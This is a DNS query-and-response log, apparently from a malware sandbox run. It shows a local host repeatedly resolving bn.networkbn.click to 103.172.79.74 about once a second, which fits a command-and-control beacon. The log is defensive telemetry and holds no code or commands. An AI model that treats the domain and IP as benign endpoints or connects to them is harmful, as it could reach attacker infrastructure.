Mar 17, 2024 03:44:18.324219942 CET	192.168.2.14	8.8.8.8	0xebf	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:19.092804909 CET	192.168.2.14	8.8.8.8	0xe39b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:19.857321978 CET	192.168.2.14	8.8.8.8	0xeeb3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:20.634370089 CET	192.168.2.14	8.8.8.8	0x485a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:21.417320013 CET	192.168.2.14	8.8.8.8	0xed80	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:22.193991899 CET	192.168.2.14	8.8.8.8	0xe85a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:23.018409967 CET	192.168.2.14	8.8.8.8	0xc689	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:23.789372921 CET	192.168.2.14	8.8.8.8	0x4053	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:24.563605070 CET	192.168.2.14	8.8.8.8	0x7aa8	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:25.339715958 CET	192.168.2.14	8.8.8.8	0xad00	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:26.106079102 CET	192.168.2.14	8.8.8.8	0x2211	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:26.884704113 CET	192.168.2.14	8.8.8.8	0x758b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:27.725177050 CET	192.168.2.14	8.8.8.8	0x40f9	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:28.495817900 CET	192.168.2.14	8.8.8.8	0x6596	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:29.259742022 CET	192.168.2.14	8.8.8.8	0x81cc	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:30.019131899 CET	192.168.2.14	8.8.8.8	0xc84d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:30.850687981 CET	192.168.2.14	8.8.8.8	0x29a1	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:31.637891054 CET	192.168.2.14	8.8.8.8	0x590d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:32.418709993 CET	192.168.2.14	8.8.8.8	0x653	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:33.190211058 CET	192.168.2.14	8.8.8.8	0x5f49	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:33.956558943 CET	192.168.2.14	8.8.8.8	0x5827	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:34.732476950 CET	192.168.2.14	8.8.8.8	0x4d32	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:35.500262022 CET	192.168.2.14	8.8.8.8	0x482d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:36.267107010 CET	192.168.2.14	8.8.8.8	0xb856	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:37.050734997 CET	192.168.2.14	8.8.8.8	0x2b0a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:37.845280886 CET	192.168.2.14	8.8.8.8	0xa63b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:38.616249084 CET	192.168.2.14	8.8.8.8	0xe494	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:39.357362032 CET	192.168.2.14	8.8.8.8	0x916f	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:40.134238005 CET	192.168.2.14	8.8.8.8	0x6021	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:40.913629055 CET	192.168.2.14	8.8.8.8	0xb324	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:41.705677986 CET	192.168.2.14	8.8.8.8	0x25af	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:42.490631104 CET	192.168.2.14	8.8.8.8	0x78ea	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:43.249329090 CET	192.168.2.14	8.8.8.8	0x589a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:44.010298014 CET	192.168.2.14	8.8.8.8	0x82b7	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:44.780472994 CET	192.168.2.14	8.8.8.8	0xd9c9	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:45.556303978 CET	192.168.2.14	8.8.8.8	0xa43	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:46.333046913 CET	192.168.2.14	8.8.8.8	0x5b7a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:47.097476006 CET	192.168.2.14	8.8.8.8	0xd869	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:47.891216993 CET	192.168.2.14	8.8.8.8	0x4b25	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:48.736603022 CET	192.168.2.14	8.8.8.8	0x5205	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:49.493822098 CET	192.168.2.14	8.8.8.8	0xb1e8	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:50.310545921 CET	192.168.2.14	8.8.8.8	0x942c	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:51.100516081 CET	192.168.2.14	8.8.8.8	0xffcd	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:51.861352921 CET	192.168.2.14	8.8.8.8	0x9997	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:52.676724911 CET	192.168.2.14	8.8.8.8	0xbb7c	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:53.428653955 CET	192.168.2.14	8.8.8.8	0x8ec2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:54.223155022 CET	192.168.2.14	8.8.8.8	0x1dc3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:54.991625071 CET	192.168.2.14	8.8.8.8	0x5d53	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:55.832223892 CET	192.168.2.14	8.8.8.8	0xcdb2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:56.589927912 CET	192.168.2.14	8.8.8.8	0xc4e4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:57.364286900 CET	192.168.2.14	8.8.8.8	0xdd52	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:58.114897966 CET	192.168.2.14	8.8.8.8	0x2794	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:58.874218941 CET	192.168.2.14	8.8.8.8	0x7857	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 17, 2024 03:42:54.603581905 CET	8.8.8.8	192.168.2.14	0x85a0	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:55.394011021 CET	8.8.8.8	192.168.2.14	0xbdad	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:56.239579916 CET	8.8.8.8	192.168.2.14	0x40cb	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:57.005995035 CET	8.8.8.8	192.168.2.14	0x7a09	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:57.775665045 CET	8.8.8.8	192.168.2.14	0xf672	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:58.552340031 CET	8.8.8.8	192.168.2.14	0xa230	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:59.354590893 CET	8.8.8.8	192.168.2.14	0x4e3b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:00.114319086 CET	8.8.8.8	192.168.2.14	0xc4d4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:00.884094000 CET	8.8.8.8	192.168.2.14	0xc0f2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:01.655848980 CET	8.8.8.8	192.168.2.14	0x7e29	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:02.435477972 CET	8.8.8.8	192.168.2.14	0x5848	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:03.212600946 CET	8.8.8.8	192.168.2.14	0x3d68	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:03.979852915 CET	8.8.8.8	192.168.2.14	0x243d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:04.830235004 CET	8.8.8.8	192.168.2.14	0x374e	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:05.608886957 CET	8.8.8.8	192.168.2.14	0xe401	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:06.392926931 CET	8.8.8.8	192.168.2.14	0x27e9	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.159210920 CET	8.8.8.8	192.168.2.14	0x6a7b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.936359882 CET	8.8.8.8	192.168.2.14	0xa407	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:08.791076899 CET	8.8.8.8	192.168.2.14	0x2e15	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:09.576081991 CET	8.8.8.8	192.168.2.14	0x2eee	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:10.343419075 CET	8.8.8.8	192.168.2.14	0x6b38	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.127332926 CET	8.8.8.8	192.168.2.14	0x6608	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.905703068 CET	8.8.8.8	192.168.2.14	0x4e4e	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:12.684032917 CET	8.8.8.8	192.168.2.14	0x5dfb	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:13.534887075 CET	8.8.8.8	192.168.2.14	0x71f	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:14.327389002 CET	8.8.8.8	192.168.2.14	0x22ee	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:15.103040934 CET	8.8.8.8	192.168.2.14	0x9bbc	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:15.957081079 CET	8.8.8.8	192.168.2.14	0x251d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:16.790793896 CET	8.8.8.8	192.168.2.14	0xefad	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:17.544337034 CET	8.8.8.8	192.168.2.14	0x57cd	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:18.314258099 CET	8.8.8.8	192.168.2.14	0x746a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:19.152247906 CET	8.8.8.8	192.168.2.14	0x9dd5	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:24.928447962 CET	8.8.8.8	192.168.2.14	0x6998	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:25.703092098 CET	8.8.8.8	192.168.2.14	0x73af	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:26.497329950 CET	8.8.8.8	192.168.2.14	0xb014	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:27.266269922 CET	8.8.8.8	192.168.2.14	0x2514	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:28.023396015 CET	8.8.8.8	192.168.2.14	0xbfdf	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:28.865689993 CET	8.8.8.8	192.168.2.14	0x4a96	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:29.649343967 CET	8.8.8.8	192.168.2.14	0xe6d3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:30.426495075 CET	8.8.8.8	192.168.2.14	0xba4d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:31.267791033 CET	8.8.8.8	192.168.2.14	0xbd39	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:32.045324087 CET	8.8.8.8	192.168.2.14	0x3986	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:32.802272081 CET	8.8.8.8	192.168.2.14	0xde80	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:33.595060110 CET	8.8.8.8	192.168.2.14	0xe87d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:34.371480942 CET	8.8.8.8	192.168.2.14	0xab	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:35.157605886 CET	8.8.8.8	192.168.2.14	0x8ae5	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:35.997685909 CET	8.8.8.8	192.168.2.14	0x89e3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:36.761219978 CET	8.8.8.8	192.168.2.14	0xa26c	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:37.523987055 CET	8.8.8.8	192.168.2.14	0x1e0d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:38.311666012 CET	8.8.8.8	192.168.2.14	0x2ed4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:39.092052937 CET	8.8.8.8	192.168.2.14	0xe31d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:39.905220032 CET	8.8.8.8	192.168.2.14	0x515e	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:40.672647953 CET	8.8.8.8	192.168.2.14	0xd9fe	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:41.452650070 CET	8.8.8.8	192.168.2.14	0xb83d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:42.244954109 CET	8.8.8.8	192.168.2.14	0xeeb3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:43.026669025 CET	8.8.8.8	192.168.2.14	0x8054	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:43.809922934 CET	8.8.8.8	192.168.2.14	0x41d7	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:44.587002039 CET	8.8.8.8	192.168.2.14	0x1908	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:45.430922031 CET	8.8.8.8	192.168.2.14	0x17e	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:46.187972069 CET	8.8.8.8	192.168.2.14	0x3dd2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:46.959938049 CET	8.8.8.8	192.168.2.14	0xac9b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:47.743232965 CET	8.8.8.8	192.168.2.14	0xcb92	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:48.537728071 CET	8.8.8.8	192.168.2.14	0x62a3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:49.305383921 CET	8.8.8.8	192.168.2.14	0x9972	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:50.071651936 CET	8.8.8.8	192.168.2.14	0xb5ae	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:50.917778969 CET	8.8.8.8	192.168.2.14	0xb9fe	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:51.706357956 CET	8.8.8.8	192.168.2.14	0x4bb2	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:52.487329006 CET	8.8.8.8	192.168.2.14	0xb33f	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:53.263952017 CET	8.8.8.8	192.168.2.14	0xc189	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:54.972841978 CET	8.8.8.8	192.168.2.14	0x8ca6	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:55.814073086 CET	8.8.8.8	192.168.2.14	0xf77a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:56.577908039 CET	8.8.8.8	192.168.2.14	0xa39a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:57.368432999 CET	8.8.8.8	192.168.2.14	0x6c61	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:58.213973045 CET	8.8.8.8	192.168.2.14	0xb527	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:03.981688023 CET	8.8.8.8	192.168.2.14	0x5ba4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:04.741035938 CET	8.8.8.8	192.168.2.14	0xe5d4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:05.505495071 CET	8.8.8.8	192.168.2.14	0xedeb	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:06.332854033 CET	8.8.8.8	192.168.2.14	0x8d94	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:07.103569031 CET	8.8.8.8	192.168.2.14	0xacf1	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:07.885191917 CET	8.8.8.8	192.168.2.14	0xb84	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:08.726397038 CET	8.8.8.8	192.168.2.14	0xfe1d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:10.507107019 CET	8.8.8.8	192.168.2.14	0xc723	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:11.278218031 CET	8.8.8.8	192.168.2.14	0x2c4	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:12.051806927 CET	8.8.8.8	192.168.2.14	0x7e87	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:12.871296883 CET	8.8.8.8	192.168.2.14	0xc808	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:13.653769016 CET	8.8.8.8	192.168.2.14	0xce56	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:14.469635010 CET	8.8.8.8	192.168.2.14	0x2649	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:15.240483999 CET	8.8.8.8	192.168.2.14	0x652d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:16.013279915 CET	8.8.8.8	192.168.2.14	0xfd39	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:16.850219011 CET	8.8.8.8	192.168.2.14	0x49f	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:17.642659903 CET	8.8.8.8	192.168.2.14	0xb453	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:18.418056965 CET	8.8.8.8	192.168.2.14	0xebf	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:19.186659098 CET	8.8.8.8	192.168.2.14	0xe39b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:19.951673031 CET	8.8.8.8	192.168.2.14	0xeeb3	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:20.729132891 CET	8.8.8.8	192.168.2.14	0x485a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:21.512176037 CET	8.8.8.8	192.168.2.14	0xed80	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:22.283325911 CET	8.8.8.8	192.168.2.14	0xe85a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:23.113080978 CET	8.8.8.8	192.168.2.14	0xc689	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:23.885667086 CET	8.8.8.8	192.168.2.14	0x4053	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:24.657035112 CET	8.8.8.8	192.168.2.14	0x7aa8	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:25.433686018 CET	8.8.8.8	192.168.2.14	0xad00	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:26.204135895 CET	8.8.8.8	192.168.2.14	0x2211	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:26.978451967 CET	8.8.8.8	192.168.2.14	0x758b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:27.818820000 CET	8.8.8.8	192.168.2.14	0x40f9	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:28.590481997 CET	8.8.8.8	192.168.2.14	0x6596	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:29.354176044 CET	8.8.8.8	192.168.2.14	0x81cc	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:30.115108967 CET	8.8.8.8	192.168.2.14	0xc84d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:30.941324949 CET	8.8.8.8	192.168.2.14	0x29a1	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:31.730202913 CET	8.8.8.8	192.168.2.14	0x590d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:32.506664991 CET	8.8.8.8	192.168.2.14	0x653	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:33.286717892 CET	8.8.8.8	192.168.2.14	0x5f49	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:34.053814888 CET	8.8.8.8	192.168.2.14	0x5827	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:34.823638916 CET	8.8.8.8	192.168.2.14	0x4d32	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:35.590720892 CET	8.8.8.8	192.168.2.14	0x482d	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:36.363611937 CET	8.8.8.8	192.168.2.14	0xb856	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:37.145097971 CET	8.8.8.8	192.168.2.14	0x2b0a	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:37.933934927 CET	8.8.8.8	192.168.2.14	0xa63b	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:38.704190016 CET	8.8.8.8	192.168.2.14	0xe494	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:39.451195955 CET	8.8.8.8	192.168.2.14	0x916f	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:40.227956057 CET	8.8.8.8	192.168.2.14	0x6021	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:41.010555983 CET	8.8.8.8	192.168.2.14	0xb324	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:41.799427032 CET	8.8.8.8	192.168.2.14	0x25af	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:42.578408957 CET	8.8.8.8	192.168.2.14	0x78ea	No error (0)	bn.networkbn.click	103.172.79.74	A (IP address)	IN (0x0001)	false
